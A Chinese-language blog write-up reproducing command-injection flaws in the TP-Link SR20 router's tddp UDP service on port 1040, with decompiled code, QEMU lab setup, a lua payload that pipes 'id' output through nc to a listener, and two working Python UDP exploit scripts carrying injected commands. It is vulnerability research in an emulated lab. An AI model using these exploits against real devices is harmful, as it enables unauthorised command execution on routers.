TP-LINK SR20漏洞复现
2023-10-12 23:41:42 # iot

前言

一个涉及到了通信协议的洞 还是比较有趣的 以此来顺便丰富一下对于协议洞的认知
固件下载地址: https://www.tp-link.com/us/support/download/sr20/#Firmware

漏洞分析

本质上是一个任意命令执行 不过传入的方式和以前复现过的不一样在于 是通过recvform接收到了对应端口传输的数据
找到官方报告中 漏洞位于的/usr/bin/tddp文件
是32位的arm架构
ida打开后没有找到main函数 通过start函数来索引到main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // r3
int v4; // r0
int v6; // [sp+Ch] [bp-8h]
int v7; // [sp+Ch] [bp-8h]

v6 = mem_calloc(argc, argv, envp);
if ( v6 )
return v6;
v4 = sub_936C();
v7 = delete_mem(v4);
if ( v7 )
v3 = v7;
else
v3 = 0;
return v3;
}

主要有三个函数 首尾两个函数的作用我已经更改了函数名 就是简单的开辟空间和释放空间
重点跟进一下936c这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
int sub_936C()
{
_DWORD *v0; // r4
int optval; // [sp+Ch] [bp-B0h] BYREF
int v3; // [sp+10h] [bp-ACh] BYREF
struct timeval timeout; // [sp+14h] [bp-A8h] BYREF
fd_set readfds; // [sp+1Ch] [bp-A0h] BYREF
_DWORD *v6; // [sp+9Ch] [bp-20h] BYREF
int v7; // [sp+A0h] [bp-1Ch]
int nfds; // [sp+A4h] [bp-18h]
fd_set *v9; // [sp+A8h] [bp-14h]
unsigned int i; // [sp+ACh] [bp-10h]

v6 = 0;
v3 = 1;
optval = 1;
printf("[%s():%d] tddp task start\n", "tddp_taskEntry", 151);
if ( !sub_16ACC(&v6)
&& !sub_16E5C(v6 + 9)
&& !setsockopt(v6[9], 1, 2, &optval, 4u)
&& !sub_16D68(v6[9], 1040) // 绑定1040端口
&& !setsockopt(v6[9], 1, 6, &v3, 4u) )
{
v6[11] |= 2u;
v6[11] |= 4u;
v6[11] |= 8u;
v6[11] |= 0x10u;
v6[11] |= 0x20u;
v6[11] |= 0x1000u;
v6[11] |= 0x2000u;
v6[11] |= 0x4000u;
v6[11] |= 0x8000u;
v6[12] = 60;
v0 = v6;
v0[13] = sub_9340(); // 获取时间
v9 = &readfds;
for ( i = 0; i <= 0x1F; ++i )
v9->__fds_bits[i] = 0;
nfds = v6[9] + 1;
while ( 1 )
{
do
{
timeout.tv_sec = 600;
timeout.tv_usec = 0;
readfds.__fds_bits[v6[9] >> 5] |= 1 << (v6[9] & 0x1F);
v7 = select(nfds, &readfds, 0, 0, &timeout);
if ( sub_9340() - v6[13] > v6[12] )
v6[8] = 0;
}
while ( v7 == -1 );
if ( !v7 )
break;
if ( ((readfds.__fds_bits[v6[9] >> 5] >> (v6[9] & 0x1F)) & 1) != 0 )
sub_16418(v6);
}
}
sub_16E0C(v6[9]);
sub_16C18(v6);
return printf("[%s():%d] tddp task exit\n", "tddp_taskEntry", 219);
}

用socket来实现通讯
sub_16D68函数中 绑定了1040端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall sub_16D68(int a1, uint16_t a2)
{
int v2; // r3
struct sockaddr s; // [sp+8h] [bp-14h] BYREF

memset(&s, 0, sizeof(s));
s.sa_family = 2;
*&s.sa_data[2] = htonl(0);
*s.sa_data = htons(a2);
if ( bind(a1, &s, 0x10u) == -1 )
v2 = sub_13018(-10103, "failed to bind socket");
else
v2 = 0;
return v2;
}

同时把主机字节序转化成了网络字节序 用来方便不同设备之间的统一通讯
随后会进入sub_16418函数
image.png
该函数旨在接收1040端口传输来的数据
这里注意一下数据包存放的缓冲区地址为 a1+45083 而v2作为一个指针指向该地址
对于v2进行了一个检测 如果为1则进入分支
这里涉及到了dttp这个协议 其为D-LINK所使用的一种简单的调试协议
分为v1和v2两个版本
版本号会放在数据包首地址来作为区分
随后还会有一个用来表示类型的字段

1
2
3
4:CMD_AUTO_TEST   6: CMD_CONFIG_MAC   7: CMD_CANCEL_TEST
8: CMD_REBOOT_FOR_TEST 0XA:CMD_GET_PROD_ID 0XC: CMD_SYS_INIT
0XD: CMD_CONFIG_PIN 0X30: CMD_FTEST_USB 0X31: CMD_FTEST_CONFIG

也就是我们在sub_15E74函数中所看到的
image.png
这里借用winmt师傅的图来方便理解包的形式
image.png
ver为版本号 type则为包的类型
本次的漏洞出现在0x31对应的类型中 我们找到对应的函数进行跟进
image.png
其以;进行了正则匹配 将两段字符串分别存储到s和v10中 随后进行了命令执行
那么这里仅仅过滤了一个;字符 我们也可以使用|和&来达到任意命令执行的目的
上述为第一种漏洞的利用途径 接下来还有一个通过lua脚本达到任意命令执行的洞
image.png
可以看到 s是由我们所控制的 其作为一个路径的一部分 用来指向一个lua脚本
并且如果这个lua脚本存在 就可以执行这个脚本
我们再来看一下原本要执行的指令
其为 tftp -gr xxxx host
host为宿主机与虚拟机通信的接口ip
我们只需要在宿主机启动tftp服务 随后篡改xxxx为正确的文件名 就可以实现任意脚本执行了

环境搭建

使用readelf可以得到是32位小端序的arm架构 这里使用armhf 不适用armel是因为其缺少硬件浮点数支持
搭建脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/bin/bash



sudo tunctl -t tap1 -u root



sudo ifconfig tap1 192.168.6.2



sudo qemu-system-arm \

    -M vexpress-a9 \

    -kernel ./armhf/vmlinuz-3.2.0-4-vexpress \

    -initrd ./armhf/initrd.img-3.2.0-4-vexpress \

    -drive if=sd,file=./armhf/debian_wheezy_armhf_standard.qcow2 \

    -append "root=/dev/mmcblk0p2 console=ttyAMA0" \

    -net nic -net tap,ifname=tap1,script=no,downscript=no \

    -nographic

我这里的硬盘映像文件虽然是直接从官网下的 但是不知道什么原因 在模拟的时候会提示说硬盘大小出现问题
所以这里按照描述更改映像文件为32G即可

1
qemu-img resize debian_wheezy_armhf_standard.qcow2 32G

随后就可以成功启动模拟 进入后将eth0接口更改 使其与tap1位于同一c段
随后挂载两个文件夹并且设置squashfs-root为根目录

1
2
3
mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot ./squashfs-root/ sh

启动tddp程序
image.png
接着回到宿主机 这里如果直接nc 1040这个端口是无法连接的
我们需要借助nmap的udp扫描方式
可以看到这个端口是有过滤的
等下使用脚本复现的时候也要注意一下socket需要调整为UDP
image.png
随后在宿主机上安装tftp

1
sudo apt install atftpd

随后需要进行两次配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sudo vim /etc/xinetd.d/tftp

service tftp
{
socket_type = dgram
protocol = udp
wait = yes
user = root
server = /usr/sbin/in.tftpd
server_args = -s /tftpboot -c 这个文件夹我试过放到用户目录下 最后失败了
disable = no
per_source = 11
cps = 100 2
flags = IPv4
}
1
2
3
4
5
sudo vim /etc/default/atftpd

USE_INETD=false
# OPTIONS below are used only with init script
OPTIONS="--tftpd-timeout 0 --retry-timeout 0 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot"

随后更改tftpboot文件夹的权限以及新增一个payload文件 用来执行命令

1
2
3
4
5
6
7
chmod 777 /tftpboot
touch payload
sudo vim payload

function config_test(config)
    os.execute("id|nc 192.168.6.2 6666")
end

漏洞复现

在虚拟机启动tddp后 使用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from socket import*

from sys import*




s = socket(AF_INET,SOCK_DGRAM)

s.connect(("192.168.6.3",1040))



payload = b"\x01\x31" #版本号和类型

payload = payload.ljust(12,b'\x00') #填充垃圾数据

payload += b"|touch a||;aaa"

s.sendall(payload)

image.png
随后我们前往/tmp目录 可以找到刚刚创建的a文件 成功进行了任意的命令执行
image.png
接着来尝试第二种方法
开启tddp服务以后 执行下列脚本 同时我们需要在宿主机上监听一下6666端口

1
nc -nvlp 6666
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from socket import*

from sys import*




s = socket(AF_INET,SOCK_DGRAM)

s.connect(("192.168.6.3",1040))



payload = b"\x01\x31" #版本号和类型

payload = payload.ljust(12,b'\x00') #填充垃圾数据

payload += b"/payload;aaa"

s.sendall(payload)

使其执行payload文件中的指令
随后就可以在6666端口中接收到了id的回显
image.png

总结

通过本次复现 第一次接触到了协议洞 相比常规的命令执行 协议洞需要先了解清楚协议的数据包构成 才能看懂代码逻辑
发掘漏洞的思路还是通过定位execve或者是system这类敏感函数 然后再朔源查看是否存在控制参数的可能性

Prev
2023-10-12 23:41:42 # iot
Next